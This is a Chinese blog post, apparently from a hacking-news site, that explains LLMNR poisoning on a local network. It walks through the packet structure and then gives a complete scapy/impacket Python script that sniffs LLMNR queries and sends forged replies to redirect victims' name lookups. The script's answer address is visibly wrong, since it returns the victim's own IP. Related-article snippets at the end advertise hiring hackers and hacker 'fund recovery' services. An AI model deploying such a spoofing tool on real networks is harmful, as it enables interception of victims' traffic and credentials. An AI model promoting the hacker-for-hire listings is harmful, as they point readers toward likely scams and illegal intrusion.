LLMNR欺骗技术简析

访客4年前黑客资讯365

LLMNR投毒

LLMNR协议简介

LLMNR(Link-Local Multicast Name Resolution)是用于同一本地链路上的,基于DNS协议的一个协议,同一局域网中的主机可通过该协议去解析其他主机名

查询顺序为

  1. 本地hosts文件解析
  2. 使用DNS解析
  3. 使用LLMNR解析
  4. 使用NBNS解析

前面的两部应该很熟了,我们直接介绍LLMNR的阶段

LLMNR解析过程:

  1. 先检查本地NetBios缓存
  2. 没有则向局域网224.0.0.252(ff02::fb)广播地址广播LLMNR协议数据包
  3. 收到该广播的数据包,若是要找的主机,则向广播主机单播一个返回数据包

LLMNR协议工作再5355端口

LLMNR投毒过程

可以看到这个广播的过程蛮熟悉的,很容易联想到ARP欺骗和DNS欺骗,ARP欺骗和DNS欺骗的主要手段就是当中间人,LLMNR的欺骗手段和这两者差不太多,更像是两者的结合版

首先,LLMNR是在链路层进行广播,所以不需要先ARP欺骗监听流量,其次,由于它基于DNS协议,所以结构也与DNS相近,也就是说需要LLMNR广播包的特征码来构造响应包,才会接受响应。

能触发LLMNR协议的主要就是 *** b共享,或者ping这种,只要基于链路层的访问就有机会用到LLMNR去解析

233454.jpg

233920.jpg

但是由于毒化后对方要使用链路层服务才会起作用,所以 *** b共享是主要方式

在触发LLMNR协议进行广播后,就需要做出响应来进行欺骗

对方将接收到的响应包中的地址作为要解析的地址,写入NetBios缓存。在访问对应的内网服务时候就被解析到了攻击者的地址上。

理解ARP欺骗和DNS欺骗这个过程应该就很好理解了。

这是基本的过程,实际上,我们甚至不需要对方去触发LLMNR广播查询,只要我们模拟受害者ip向局域网组播了查询数据包(对方至少得加入广播组),再把响应数据包发给受害者,就能实现LLMNR毒化。但是似乎在每次使用链路层服务时都会寻找,不管之前是否有查找过。(另外写脚本的时候也碰到了一点问题,用socket发送数据包的话,如果要设置UDP广播就无法设置从数据包中读取IP头,即伪造对方IP和发送广播包两者不能共存,不知道是不是写法的问题,网上也没找到有办法。)

甚至在运行框中修改主机名不点执行,也会重新发包查询,而不是点了执行才去查询

所以采用的更好的毒化 *** 就是像responder那样监听广播中的LLMNR广播数据包,再进行单播欺骗。

(llmnr实在很少使用,正常的局域网中要连接其他局域网内主机都直接用dns完成了,像llmnr大概只能去查询一些刚加进局域网,还未来得到和dns服务器交互,且存在于组播中的主机,所以要完成欺骗也要一点社工手段使对方使用llmnr服务)

LLMNR数据包结构

200227.jpg

一张图解决所有疑惑

虽然有点乱,但是无伤大雅,因为其中变动的点很少

一是前两位红线连的,Transaction ID,也就是DNS中的特征码,需要响应和广播包中的特征码相同

二是深绿色连的name,格式为[长度][名称][\x00\x00],对应图中看一下就懂

三是Type,也就是name后面两位,一般也就三种,[A — \X00\X01][AAAA — \X00\X1C][ANY — \x00\xff],A对应IPV4,AAAA对应IPV6,ANY就是两样兼收。

编写脚本

监听广播

我偷懒用了scapy,想监听就变得更加方便了

由于llmnr广播很少使用,所以这样直接过滤监听地址外加端口基本不会错

拿到数据包后取数据包中的对方ip,数据包id,要查找的名

拿完后就可以构造数据包了

构造返回数据包

返回也是用LLMNR协议写的数据包,查资料的时候有文章说返回是IGMP协议,其实是错的。且LLMNR结构和一般的DNS真的差不了多少


225911.jpg

我把llmnr中之前介绍过的部分圈了出来,多的是ttl,data length 和address

ttl: \x00 \x00 \x00 \x1e 表示30s data length: \x00 \x04 表示长度为4 address: \xc0 \xa8 \x98 \x87 是解析的地址

其余要注意的:

将Answer RRs改为1,表示有一个应答

将ID后的Flags改为\x80\x00表示response包

这是整个一个返回包的结构:


效果

001619.jpg

可以看到我们主机中的脚本监听到了广播后就向发送广播方进行了单播

附上脚本


#success

from scapy.all import *
import os
import threading
import time
from impacket import ImpactPacket

def llmnr_listen():
    print("[+]start listing")
    #监听llmnr广播包
    #需要对方ip,数据包id,查找名
    a=sniff(count=1,filter="ip dst 224.0.0.252 and udp and udp port 5355")
    target_ip=a[0][IP].src
    query_id=a[0][LLMNRQuery].id
    query_name=a[0][LLMNRQuery].qd.qname[:-1]
    list_needed=[target_ip,query_id,query_name]
    print("[+]get packet")
    return list_needed

class llmnr_poision:
    def __init__(self,list_needed):
        self.target_ip=list_needed[0]
        print("[+]target ip is:" + self.target_ip)
        self.query_id=list_needed[1]
        print("[+]query id is:" + str(self.query_id))
        self.query_name=list_needed[2]
        print("[+]cheat name is:" + str(self.query_name))
        self.query_length=len(self.query_name)

        self.local_ip="192.168.1.240"

        self.las=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

        self.HOST="0.0.0.0"
        self.HOST=""
        self.PORT=5355
        #self.MulADDR="224.0.0.252"

        self.las=socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
        #s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
        #self.las.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)


        #self.las.bind((self.HOST, self.PORT))

    def llmnr_answer(self):
        
        self.AnswerData=(
            "TID"               # Tid
            "\x80\x00"          # Flags  Query(0x0000)? or Response(0x8000) ?
            "\x00\x01"          # Question
            "\x00\x01"          # Answer RRS
            "\x00\x00"          # Authority RRS
            "\x00\x00"          # Additional RRS
            "LENGTH"            # Question Name Length
            "NAME"              # Question Name
            "\x00"              # Question Name Null
            "\x00\x01"          # Query Type ,IPv4(0x0001)? or IPv6(0x001c)?
            "\x00\x01"          # Class
            "LENGTH"            # Answer Name Length
            "NAME"              # Answer Name
            "\x00"              # Answer Name Null
            "\x00\x01"          # Answer Type ,IPv4(0x0001)? or IPv6(0x001c)?
            "\x00\x01"          # Class
            "\x00\x00\x00\x1e"  # TTL Default:30s
            "\x00\x04"          # IP Length
            "IPADDR")           # IP Address


        self.Data=struct.pack("h",self.query_id)[1:]+struct.pack("h",self.query_id)[0:1]
        self.Data=self.Data + (
            b"\x80\x00"          # Flags  Query(0x0000)? or Response(0x8000) ?
            b"\x00\x01"          # Question
            b"\x00\x01"          # Answer RRS
            b"\x00\x00"          # Authority RRS
            b"\x00\x00" )
        self.Data=self.Data + struct.pack("b",self.query_length)
        self.Data=self.Data + self.query_name
        self.Data=self.Data + (
            b"\x00"              # Question Name Null
            b"\x00\x01"          # Query Type ,IPv4(0x0001)? or IPv6(0x001c)?
            b"\x00\x01"          # Class
            )
        self.Data=self.Data + struct.pack("b",self.query_length)
        self.Data=self.Data + self.query_name
        self.Data=self.Data + (
            b"\x00"              # Answer Name Null
            b"\x00\x01"          # Answer Type ,IPv4(0x0001)? or IPv6(0x001c)?
            b"\x00\x01"          # Class
            b"\x00\x00\x00\x1e"  # TTL Default:30s
            b"\x00\x04"          # IP Length
        )
        self.Data=self.Data + socket.inet_aton(self.target_ip)
        print(self.Data)


        ip=ImpactPacket.IP()
        ip.set_ip_src(self.local_ip)
        ip.set_ip_dst(self.target_ip)

        udp=ImpactPacket.UDP()
        udp.set_uh_sport(self.PORT)
        udp.set_uh_dport(self.PORT)


        udp.contains(ImpactPacket.Data(self.Data))
        ip.contains(udp)
        print(ip.get_packet())

        print("[+]send packet")
        while True:
            self.las.sendto(udp.get_packet(), (self.target_ip,self.PORT))
            time.sleep(100)
        print("[+]finish")

get_muti_pack=llmnr_listen()

llmnr=llmnr_poision(get_muti_pack)
llmnr.llmnr_answer()

相关文章

分居2年怎么证明 感情破裂的10个标准

坚信许多人都听闻过,两地分居满了2年,是人民法院判断夫妇婚姻破裂的关键标准吧。那麼,从关键点上看来,两地分居2年如何证实?婚姻破裂的10个规范实际是什么?跟我一起了解一下吧。 一、两地分居2年如...

虎牌保险柜怎么打开(虎牌保险柜打开图解)

虎牌保险柜怎么打开(虎牌保险柜打开图解)

:“保险柜是我们在生活中一款比较重要的家具产品,我们在选购的时候都想选购一款比较好的产品,虎牌保险柜是一款比较好用的产品,那么虎牌保险柜怎么开呢...” 感谢您关注福窝小编为您精心挑选和分享的关于虎牌...

中国红客菜霸追款联系方式(中国红客联盟站长冰儿)

很多人问到底哪个是正规的红盟!其实都是正规的红盟!只是管理人不同而已!每个红盟的管理层很多都相互认识的!所以都是正规的!冰儿有这个人!以前的红盟。 中国红客联盟官网中国红客lion有多厉害中国红客联盟...

哪里找黑客不收定金-网上黑客改成就可靠吗(找黑客改成就效果登不进系

不法网络黑客是什么叫做什么的 网络黑客大户追款一样平时要多长时间讨回(网络黑客大户追款是个陷阱) 网络黑客得罪什么执法 遭受网络黑客立即把电脑上关掉行吗(黑客游戏第二关) 网络黑客...

怎么办理400电话(400电话收费标准)

怎么办理400电话(400电话收费标准)

400电话是运营商推出的一种主被叫话费分摊电信增值业务,目前已广泛用于各个行业售前、售后服务咨询业务。与一般人所想的不同,400电话并非“电话”,仅仅只是一个长达10位的中转号码而已,并不需要企业...

黑客接单多少钱_黑客群

2019年,咱们猜测网络违法分子针对内容管理体系注入歹意挖矿代码的活动会削减,而其他Web要挟会变得愈加遍及与常见,比如说Web skimmer。 switch (grpc_fuzzer_get_n...